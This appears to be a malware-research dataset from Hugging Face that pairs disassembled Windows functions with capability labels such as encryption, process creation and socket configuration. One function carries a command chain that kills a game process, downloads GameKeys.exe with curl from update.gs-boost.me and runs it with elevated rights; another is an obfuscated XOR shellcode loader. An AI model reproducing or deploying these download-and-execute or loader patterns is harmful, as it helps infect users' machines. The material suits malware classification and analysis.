joyce8/EMBER2024-capa huggingface dataset:
Function at 0x701810
Capabilities:
Encrypt data using des

Disassembly:
sub esp, 0xf4
xor ecx, ecx
push ebx
push ebp
push esi
mov esi, dword [esp + 0x104]
push edi
xor eax, eax
mov al, byte [ecx + str.80_]
mov edx, eax
and eax, 7
sar edx, 3
mov bl, byte [eax*2 + 0x847874]
mov dl, byte [edx + esi]
test bl, dl
setne al
mov byte [esp + ecx + 0x4c], al
inc ecx
cmp ecx, 0x38
jl 0x701823
mov eax, 0x1e
xor edx, edx
mov dword [esp + 0x10], eax
cmp dword [esp + 0x10c], 1
je 0x701864
lea eax, [edx + edx]
lea edi, [esp + eax*4 + 0x88]
lea ebp, [esp + eax*4 + 0x84]
xor eax, eax
xor ecx, ecx
mov cl, byte [edx + 0x84791c]
mov dword [edi], 0
mov dword [ebp], 0
mov esi, ecx
cmp ecx, 0x1c
jge 0x701896
mov bl, byte [esp + ecx + 0x4c]
jmp 0x70189a
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x1c
jl 0x70188b
mov eax, 0x1c
lea ecx, [esi + 0x1c]
cmp ecx, 0x38
jge 0x7018b8
mov bl, byte [esp + ecx + 0x4c]
jmp 0x7018bc
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x38
jl 0x7018ad
xor ecx, ecx
mov eax, 0x847884
xor ebx, ebx
mov bl, byte [ecx + 0x84792c]
cmp byte [esp + ebx + 0x14], 0
je 0x7018e7
mov esi, dword [eax]
mov ebx, dword [ebp]
or ebx, esi
mov dword [ebp], ebx
xor ebx, ebx
mov bl, byte [ecx + 0x847944]
cmp byte [esp + ebx + 0x14], 0
je 0x7018fe
mov esi, dword [eax]
mov ebx, dword [edi]
or ebx, esi
mov dword [edi], ebx
add eax, 4
inc ecx
cmp eax, str.80_
jl 0x7018ce
mov eax, dword [esp + 0x10]
inc edx
sub eax, 2
cmp eax, 0xfffffffe
mov dword [esp + 0x10], eax
jg 0x701857
lea edx, [esp + 0x84]
push edx
call fcn.00701940
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xf4
ret
Function at 0x708500
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x882acc]
xor edx, edx
cmp eax, edx
jne 0x708526
xor eax, eax
mov byte [eax + 0x8829cc], al
inc eax
cmp eax, 0x100
jl 0x70850e
mov dword [0x882acc], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x8829cc
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x7085b7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x70858a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x708558
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x708630
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x708683
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x70866a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x70f040
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x747cfe
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x18]
push esi
push edi
mov edi, ecx
mov ecx, dword [esp + 0x1c]
push eax
push ecx
mov ecx, edi
mov dword [esp + 0x10], edi
call fcn.0070f960
push 0x10
mov dword [esp + 0x18], 0
mov dword [edi], 0x7d9994
call fcn.007365d1
mov esi, eax
add esp, 4
mov dword [esp + 0x20], esi
mov al, 1
test esi, esi
mov byte [esp + 0x14], al
je 0x70f0d3
push 4
mov byte [esi + 8], al
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.007365d1
add esp, 4
mov dword [esp + 0x1c], eax
test eax, eax
mov byte [esp + 0x14], 2
je 0x70f0cc
push 0
mov ecx, eax
call fcn.00706140
mov dword [esi + 0xc], eax
jmp 0x70f0d5
xor eax, eax
mov dword [esi + 0xc], eax
jmp 0x70f0d5
xor esi, esi
mov ecx, dword [esp + 0xc]
mov dword [edi + 0x30], esi
mov dword [edi + 0x34], 0
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 8
Function at 0x738d4d
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x738d85
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00736d37
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00736d0f
jmp 0x738d91
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x73a43f
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x73a481
call fcn.0074042a
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x73a481
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x73a478
xor eax, eax
jmp 0x73a489
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0073a48f
pop edi
pop esi
pop ebx
ret 4

Function at 0x74095a
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection_1]
cmp dword [esp + 0x10], 0
jne 0x740988
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue_1]
test eax, eax
je 0x7409a6
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.007408c0
jmp 0x7409a6
mov eax, dword [esi + 0x14]
test eax, eax
je 0x7409a6
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.007408c0
test edi, edi
mov eax, edi
jne 0x740990
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection_1]
pop esi
pop ebx
ret 8
Function at 0x10001140
Capabilities:
Create process on windows
Execute command

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x20
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x1c], eax
cmp dword [ebp + 0xc], 1
push esi
push edi
jne 0x10001204
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push str.taskkill__f__im_hl.exe
call esi
push str.curl__o_CounterStrike.exe_http:__update.gs_boost.me_GameKeys.exe
call esi
push 0x50
call fcn.10001282
mov dword [esp + 0x18], eax
mov edi, eax
mov dword [esp + 0x2c], 0x4f
mov ecx, 0x13
mov dword [esp + 0x28], 0x4d
mov esi, str.powershell__Command__Start_Process__FilePath_CounterStrike.exe__Verb_RunAs_
rep movsd dword es:[edi], dword [esi]
add esp, 0xc
movsb byte es:[edi], byte [esi]
push 0
push 0
push 0
push 0
push 0
push 0
mov byte [eax + 0x4d], 0
lea eax, [esp + 0x24]
cmp dword [esp + 0x38], 0x10
push 0
cmovae eax, dword [esp + 0x28]
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ecx, dword [esp + 0x20]
cmp ecx, 0x10
jb 0x10001204
mov edx, dword [esp + 0xc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100011fa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x100011fa
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.10001251
add esp, 8
mov ecx, dword [esp + 0x24]
mov eax, 1
pop edi
pop esi
xor ecx, esp
call fcn.10001243
mov esp, ebp
pop ebp
ret 0xc
Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c

Function at 0x40cfbb
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x40cfca
pop dword [ebp - 0x28]
mov eax, 0xc893564f
add eax, 0x37ad797b
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x41513287
add dword [ebp - 0x38], 0xd0112c4
mov dword [ebp - 0x34], 0x97bcf799
sub dword [ebp - 0x34], 0x6589ab54
mov dword [ebp - 0x30], 0x5167961a
sub dword [ebp - 0x30], 0x51b51ec
mov dword [ebp - 0x2c], 0xeafc746a
add dword [ebp - 0x2c], 0x15038b96
lea eax, [ebp - 0x38]
push eax
mov eax, 0x9fa5f093
add eax, 0x609c3fe1
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0x2fc68e00
add dword [ebp - 0x38], 0x44abdb56
mov dword [ebp - 0x34], 0xc81211e2
add dword [ebp - 0x34], 0x795a4f93
mov dword [ebp - 0x30], 0x84c2c82c
add dword [ebp - 0x30], 0xdeaca440
mov dword [ebp - 0x2c], 0xe3b29e3a
sub dword [ebp - 0x2c], 0xe3b29e3a
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0xa17bd98f
sub eax, 0xa139a86b
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x3a027
push 0
call eax
mov ecx, 0x6beb1cbb
add ecx, 0x94151c8f
xor esi, esi
add esi, eax
mov edx, 0x3e664095
sub edx, 0x3e22fc95
add edx, dword [ebp - 0x28]
mov ebx, 0x17b0d12f
xor dword [ebp - 0x24], 0xbb2c6bb4
mov edi, dword [edx]
xor dword [ebp - 4], edx
xor edi, ebx
xor dword [ebp - 8], edi
mov dword [esi], edi
sub dword [ebp - 0x18], edi
add esi, 4
add edx, 0x1153f28b
add edx, 0xeeac0d79
loop 0x40d0e8
add eax, 0xd7fb
xor ebx, ebx
add ebx, eax
add eax, 0x61784dfb
sub eax, 0x61784df6
mov ecx, 0xc719ad99
add ecx, 0x39265267
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x407d9c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004033fc
xor eax, eax
push ebp
push 0x407e75
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp byte [eax], 0x5c
jne 0x407dd4
mov eax, dword [ebp - 4]
call fcn.004071d0
jmp 0x407ddc
mov eax, dword [ebp - 4]
call fcn.00407bd4
call fcn.00404ae8
mov esi, eax
test esi, esi
jle 0x407e28
mov ebx, 1
lea edx, [ebp - 8]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 8]
cmp byte [eax], 0x5c
jne 0x407e12
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0xc]
call fcn.004071d0
jmp 0x407e24
lea edx, [ebp - 0x10]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0x10]
call fcn.00407bd4
inc ebx
dec esi
jne 0x407dec
push 1
push dword [ebp - 4]
push 0x407e8c
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.00406f34
push dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.004032cc
mov eax, dword [ebp - 0x14]
call fcn.0040340c
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407e7c
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.004030b8
ret

Function at 0x1001152
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x170
push 0x104
lea eax, [ebp - 0x170]
mov dword [ebp - 4], eax
push 1
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
call fcn.010010e4
cmp eax, 1
jl 0x100121b
push ebx
xor ebx, ebx
cmp byte [ebp - 0x170], bl
push esi
lea esi, [ebp - 0x170]
je 0x10011bb
cmp byte [esi], 0x3a
je 0x100119e
inc esi
cmp byte [esi], bl
jne 0x1001192
jmp 0x10011a1
mov byte [esi], bl
inc esi
cmp byte [esi], bl
je 0x10011bb
push 0x10010ac
lea eax, [ebp - 0x170]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x10011c1
lea esi, [ebp - 0x170]
push 0x29
lea eax, [ebp - 0x68]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
je 0x1001219
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.ole32.dll_CLSIDFromString]
test eax, eax
jl 0x1001219
push ebx
push ebx
call dword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
jl 0x1001219
push ebx
lea eax, [ebp - 0x14]
push eax
call sub.ole32.dll_CoRegisterSurrogateEx
call dword [sym.imp.ole32.dll_CoUninitialize]
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
pop ebx
xor eax, eax
leave
ret 0x10
Function at 0x403f20
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
push 0x407382
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x60
push ebx
push ebp
mov ebp, ecx
push esi
push edi
lea ecx, [esp + 0x1c]
mov dword [esp + 0x14], ebp
call sub.MFC42.DLL_CFile::CFile
mov eax, dword [ebp + 0xcc]
xor edi, edi
xor esi, esi
cmp eax, edi
mov dword [esp + 0x78], edi
mov dword [esp + 0x18], 1
jle 0x403f84
mov eax, dword [ebp + 0xc8]
mov ecx, dword [eax + esi*4]
cmp ecx, edi
je 0x403f79
mov edx, dword [ecx]
push 1
call dword [edx + 4]
mov eax, dword [ebp + 0xcc]
inc esi
cmp esi, eax
jl 0x403f65
add ebp, 0xc4
push 0xffffffffffffffff
push edi
mov ecx, ebp
call sub.MFC42.DLL_CObArray::SetSize
mov ebx, dword [esp + 0x80]
mov eax, dword [ebx + 8]
test eax, eax
jle 0x403ff0
push 0x18
call sub.MFC42.DLL_operatornew
add esp, 4
mov dword [esp + 0x80], eax
test eax, eax
mov byte [esp + 0x78], 1
je 0x403fc7
mov ecx, eax
call fcn.004010a0
mov esi, eax
jmp 0x403fc9
xor esi, esi
mov eax, dword [ebx + 4]
mov byte [esp + 0x78], 0
mov ecx, dword [eax + edi*4]
push ecx
mov ecx, esi
call fcn.00401300
mov edx, dword [ebp + 8]
push esi
push edx
mov ecx, ebp
call sub.MFC42.DLL_CObArray::SetAtGrow
mov eax, dword [ebx + 8]
inc edi
cmp edi, eax
jl 0x403fa2
mov eax, dword [esp + 0x14]
push str.MpuGs
add eax, 0xd8
lea ecx, [esp + 0x14]
push eax
push ecx
call sub.MFC42.DLL_operator
mov edx, dword [esp + 0x10]
push 0
mov bl, 2
push 0x1001
push edx
lea ecx, [esp + 0x28]
mov byte [esp + 0x84], bl
call sub.MFC42.DLL_CFile::Open
test eax, eax
je 0x40408e
call sub.MFC42.DLL_AfxGetModuleState
mov ecx, dword [eax + 4]
call sub.MFC42.DLL_CCmdTarget::BeginWaitCursor
push 0
push 0x1000
lea eax, [esp + 0x24]
push 0
push eax
lea ecx, [esp + 0x3c]
mov byte [esp + 0x88], 3
call fcn.004066ea
mov edx, dword [ebp]
lea eax, [esp + 0x2c]
push eax
mov ecx, ebp
mov byte [esp + 0x7c], 4
call dword [edx + 8]
lea ecx, [esp + 0x2c]
mov byte [esp + 0x78], 3
call sub.MFC42.DLL_CArchive::CArchive
mov byte [esp + 0x78], bl
call sub.MFC42.DLL_AfxGetModuleState
mov ecx, dword [eax + 4]
call sub.MFC42.DLL_CCmdTarget::EndWaitCursor
mov esi, dword [esp + 0x18]
jmp 0x4040dc
lea ecx, [esp + 0x80]
call sub.MFC42.DLL_CString::CString_2
push str.MpuGs
lea ecx, [esp + 0x84]
push 0xf008
push ecx
mov byte [esp + 0x84], 5
call sub.MFC42.DLL_AfxFormatString1
mov edx, dword [esp + 0x80]
push 0
push 0x30
push edx
call sub.MFC42.DLL_AfxMessageBox
lea ecx, [esp + 0x80]
xor esi, esi
mov byte [esp + 0x78], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
mov byte [esp + 0x78], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x1c]
mov dword [esp + 0x78], 0xffffffff
call fcn.0040654c
mov ecx, dword [esp + 0x70]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x6c
ret 4
Function at 0x4044a8
Capabilities:
Set socket configuration

Disassembly:
push 0xffffffffffffffff
push 0x407408
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
mov dword [esp + 8], esi
call sub.MFC42.DLL_CAsyncSocket::CAsyncSocket
push 0
push 0
push 2
push 0
mov ecx, esi
mov dword [esp + 0x24], 0
mov dword [esi], 0x408a78
mov dword [esp + 0x14], 1
call sub.MFC42.DLL_CAsyncSocket::Create
mov ecx, dword [esi + 4]
lea eax, [esp + 4]
push 4
push eax
push 0x20
push 0xffff
push ecx
call sub.WSOCK32.dll_setsockopt
mov ecx, dword [esp + 0xc]
mov word [esi + 0xc], 2
mov word [esi + 0xe], 9
mov dword [esi + 0x10], 0xffffffff
mov eax, esi
mov dword fs:[0], ecx
pop esi
add esp, 0x14
ret

Function at 0x404a48
Capabilities:
Set socket configuration

Disassembly:
push 0xffffffffffffffff
push 0x4074a8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push ebp
push esi
mov esi, ecx
push edi
push str.Doodah
lea ecx, [esp + 0x14]
call fcn.004064e6
mov eax, dword [esp + 0x24]
mov dword [esp + 0x1c], 0
mov ecx, dword [eax]
push ecx
call sub.WSOCK32.dll_inet_addr
mov edi, eax
cmp edi, 0xffffffff
jne 0x404a85
push 0
call sub.WSOCK32.dll_WSAGetLastError
push eax
call fcn.004026b0
add esp, 8
mov ebp, dword [esi + 0x10]
mov eax, 0xff
and ebp, edi
shr edi, 0x18
sub eax, edi
mov dword [esi + 0x10], ebp
cmp eax, 1
jle 0x404ad6
mov edx, dword [esi]
dec eax
lea ebx, [esi + 0xc]
mov dword [esp + 0x24], eax
mov ebp, dword [edx + 0x44]
mov al, byte [esi + 0x13]
mov edi, 3
inc al
mov byte [esi + 0x13], al
mov eax, dword [esp + 0x10]
push 0
push 0x10
push ebx
mov ecx, dword [eax - 8]
push ecx
push eax
mov ecx, esi
call ebp
dec edi
jne 0x404ab6
mov eax, dword [esp + 0x24]
dec eax
mov dword [esp + 0x24], eax
jne 0x404aa9
lea ecx, [esp + 0x10]
mov dword [esp + 0x1c], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x14]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x10
ret 4
Function at 0x406a80
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x409358
push 0x406c90
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xffffff98
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
push 2
call dword [sym.imp.MSVCRT.dll___set_app_type]
add esp, 4
mov dword [0x40aac4], 0xffffffff
mov dword [0x40aac8], 0xffffffff
call dword [sym.imp.MSVCRT.dll___p__fmode]
mov ecx, dword [0x40aab8]
mov dword [eax], ecx
call dword [sym.imp.MSVCRT.dll___p__commode]
mov edx, dword [0x40aab4]
mov dword [eax], edx
mov eax, dword [sym.imp.MSVCRT.dll__adjust_fdiv]
mov ecx, dword [eax]
mov dword [0x40aac0], ecx
call fcn.00406c80
mov eax, dword [0x40a9b0]
test eax, eax
jne 0x406b11
push 0x406c70
call dword [sym.imp.MSVCRT.dll___setusermatherr]
add esp, 4
call fcn.00406c50
push 0x40a018
push 0x40a014
call sub.MSVCRT.dll__initterm
add esp, 8
mov edx, dword [0x40aab0]
mov dword [ebp - 0x6c], edx
lea eax, [ebp - 0x6c]
push eax
mov ecx, dword [0x40aaac]
push ecx
lea edx, [ebp - 0x64]
push edx
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x60]
push ecx
call dword [sym.imp.MSVCRT.dll___getmainargs]
add esp, 0x14
push 0x40a010
push section..data
call sub.MSVCRT.dll__initterm
add esp, 8
call dword [sym.imp.MSVCRT.dll___p__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x74], esi
cmp byte [esi], 0x22
jne 0x406c1f
inc esi
mov dword [ebp - 0x74], esi
mov al, byte [esi]
test al, al
je 0x406b85
cmp al, 0x22
jne 0x406b77
cmp byte [esi], 0x22
jne 0x406b8e
inc esi
mov dword [ebp - 0x74], esi
mov al, byte [esi]
test al, al
je 0x406b9e
cmp al, 0x20
ja 0x406b9e
inc esi
mov dword [ebp - 0x74], esi
jmp 0x406b8e
mov dword [ebp - 0x30], 0
lea edx, [ebp - 0x5c]
push edx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [ebp - 0x30], 1
je 0x406bbf
mov eax, dword [ebp - 0x2c]
and eax, 0xffff
jmp 0x406bc4
mov eax, 0xa
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
mov dword [ebp - 0x68], eax
push eax
call dword [sym.imp.MSVCRT.dll_exit]
jmp 0x406c04
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp byte [esi], 0x20
jbe 0x406b8e
inc esi
mov dword [ebp - 0x74], esi
jmp 0x406c1f
Function at 0x401000
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x198
push esi
push edi
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x100], 0
mov dword [ebp - 0xfc], 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x198], 0
mov dword [ebp - 0xc], 0
mov ecx, 5
mov esi, str.xmlgen.dot
lea edi, [ebp - 0x4c]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x94
push 0
lea eax, [ebp - 0x194]
push eax
call fcn.0042ad30
add esp, 0xc
mov word [ebp - 0x46], 0x67
mov word [ebp - 0x3e], 0x37
mov word [ebp - 0x3c], 0x32
push 0xa8
push 0
lea ecx, [ebp - 0xf4]
push ecx
call fcn.0042ad30
add esp, 0xc
push 0
mov edx, dword [ebp - 0x100]
push edx
call dword [sym.imp.GDI32.dll_SelectObject]
lea eax, [ebp - 0x30]
push eax
push 0x65
call fcn.00401631
add esp, 8
mov dword [ebp - 4], eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
call dword [sym.imp.USER32.dll_GetDC]
mov dword [ebp - 0x100], eax
mov dword [ebp - 0x100], 0
cmp dword [ebp - 0x198], 0
jne 0x401122
mov ecx, dword [ebp - 0x2c]
movsx edx, byte [ecx]
cmp edx, 0x41
je 0x401122
mov eax, dword [ebp - 0x2c]
movsx ecx, byte [eax + 1]
cmp ecx, 0x42
je 0x401122
push 4
lea edx, [ebp - 0x30]
push edx
lea eax, [ebp - 4]
push eax
call fcn.0042a9f0
add esp, 0xc
push 0
push 0x4040bc
push 0
mov ecx, dword [ebp - 0x100]
push ecx
call dword [sym.imp.GDI32.dll_EnumObjects]
mov edx, dword [ebp - 0x30]
mov eax, dword [0x453a30]
mov dword [edx + 0x1b4], eax
mov ecx, dword [ebp - 0x30]
mov dword [ecx + 0x174], 0x251c8e6e
mov edx, dword [ebp - 0x30]
push edx
call fcn.004016d8
add esp, 4
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x140]
mov dword [ebp - 0x198], ecx
mov edx, dword [ebp - 4]
mov dword [edx + 0x1b8], 1
mov eax, dword [ebp - 4]
cmp dword [eax + 0x1b8], 0
je 0x401191
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x110], 0
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x140]
mov dword [0x458590], eax
mov eax, dword [ebp - 4]
jmp 0x4011ad
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 0xa
push 0
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x401233
Capabilities:
Copy file
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
mov dword [0x458a5c], eax
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0
push 0
push 0x80000000
push 0
push 0x80000000
push 0xcf0000
push 0x4589f8
push 0x458994
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40127b
xor eax, eax
jmp 0x4012a4
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.USER32.dll_UpdateWindow]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov eax, 1
mov esp, ebp
pop ebp
ret